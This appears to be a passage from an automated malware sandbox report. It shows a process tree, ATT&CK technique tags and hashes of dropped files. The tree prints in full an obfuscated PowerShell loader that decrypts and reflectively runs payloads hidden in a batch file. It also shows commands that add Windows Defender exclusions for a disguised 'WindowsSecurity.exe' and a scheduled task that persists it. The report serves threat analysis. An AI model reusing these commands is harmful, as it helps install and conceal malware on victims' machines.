- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4988
-
-
C:\Users\Admin\AppData\Local\WindowsSecurity.exeC:\Users\Admin\AppData\Local\WindowsSecurity.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2360 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5036
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1208
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1260
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1284
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1336
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1384
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1408
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1428
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1456
-
C:\Windows\system32\sihost.exesihost.exe2⤵PID:536
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1652
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1716
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1736
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1808
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1896
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1956
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1964
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2012
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2056
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2140
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2284
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2388
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2396
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2436
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2500
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2540
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2576
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2596
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2604
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2628
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:708
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2496
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3336 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Setup.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:1536 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3984
-
-
C:\Windows\system32\net.exenet file3⤵
- Suspicious use of WriteProcessMemory
PID:3924 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file4⤵PID:3740
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6Qr7qHDKJjMpmgIjSPfD44cTPtNyBSLGu8hDw8CfoaU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g7PbVoDhe/kTO9wMHyLfTA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lnXbU=New-Object System.IO.MemoryStream(,$param_var); $serAy=New-Object System.IO.MemoryStream; $mBSQd=New-Object System.IO.Compression.GZipStream($lnXbU, [IO.Compression.CompressionMode]::Decompress); $mBSQd.CopyTo($serAy); $mBSQd.Dispose(); $lnXbU.Dispose(); $serAy.Dispose(); $serAy.ToArray();}function execute_function($param_var,$param2_var){ $DMigp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vmAAk=$DMigp.EntryPoint; $vmAAk.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Setup.bat';$sKPoD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Setup.bat').Split([Environment]::NewLine);foreach ($cbgZM in $sKPoD) { if ($cbgZM.StartsWith(':: ')) { $HzSkD=$cbgZM.Substring(3); break; }}$payloads_var=[string[]]$HzSkD.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2228
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5104 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2100
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2656 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2332
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\WindowsSecurity.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3640 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2008
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsSecurity.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5008 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2848
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WindowsSecurity" /tr "C:\Users\Admin\AppData\Local\WindowsSecurity.exe"4⤵
- Scheduled Task/Job: Scheduled Task
PID:2156 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:1624
-
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3452
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3488
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3928
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:3948
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4020
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4028
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4308
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4412
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3396
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2484
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:1224
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1312
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1928
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:1804
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:2660
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3768
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:900
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:2168
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵PID:2640
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks processor information in registry
PID:4444
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5627073ee3ca9676911bee35548eff2b8
SHA14c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA25685b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA5123c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
-
Filesize
1KB
MD54fc204cd72f2c3f6149d487b16ea4a83
SHA1ac5f7fae2c1ac704ad559069589844a89c0b7410
SHA256dc706e6f21d6e4b670e36f3ed9772fef5f47d30af28f587f14ccd2f6348d14d8
SHA512d6e90367ab4efcc2364ac7ad18763ba79b3f5ac638cefd1ec651bee9e9b6d3753b24e41bf774ce400024f1befd3b33e33fc89f0ec836e8e8256a39719a303ac4
-
Filesize
944B
MD505b3cd21c1ec02f04caba773186ee8d0
SHA139e790bfe10abf55b74dfb3603df8fcf6b5e6edb
SHA256911efc5cf9cbeb697543eb3242f5297e1be46dd6603a390140a9ff031ed9e1e8
SHA512e751008b032394817beb46937fd93a73be97254c2be94dd42f22fb1306d2715c653ece16fa96eab1a3e73811936768cea6b37888437086fc6f3e3e793a2515eb
-
Filesize
944B
MD5d16cb7038fb7c439b3942af46488e057
SHA1264796cacf168ee8e0876ba768ae84b26c5f8cd8
SHA2564c322a99e7222270eb1948071be327096f3f0c33bb57978536209a1f4d145106
SHA5121a61315d4e73d9a0c58cfd2687346e92762c1579ab5a19f5a2adeda31ca72f5c152cb8ef47f7b75cd0d9ea9ef52a18c0311c769372f32a30367ac0afc14fce90
-
Filesize
944B
MD5dbed6207e0d3208bd0ee26b6c99307e3
SHA1facbc3806e7596b021efd6a475cd407058223703
SHA256631632aac60e6815fb18144cce66425db89b75c1e9d2c4af46d9d5148b6f5f72
SHA512a0fbe5b0d32f20ffe23aebf00b77d41159ed7c01b2302efa6e6a0cc61e4c008538f44d2cf8c7ab6c062317d1c5762eebedf0d9a06a7fdde112d231f0a27fff8e
-
Filesize
163KB
MD51a7d1b5d24ba30c4d3d5502295ab5e89
SHA12d5e69cf335605ba0a61f0bbecbea6fc06a42563
SHA256b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
SHA512859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
440KB
MD50e9ccd796e251916133392539572a374
SHA1eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA256c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
SHA512e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
-
Filesize
1004B
MD5249404f682b6109c962ecc6beba93c4d
SHA1c55558f847796b7a09497f1170d6a8c6ad3d6429
SHA256e32a173ca05c8e52bba83de2e941243fc33cb06614f77289c82e72923edbc530
SHA512bfcaf7641ed449a7bf63e818565eaad3a8e1d71c7cbb6b8c5419c88dbf4fc36b11cdc15e21446b4d5f19c040b92bd0760b9edc18036a111378e2ab14308dbf0a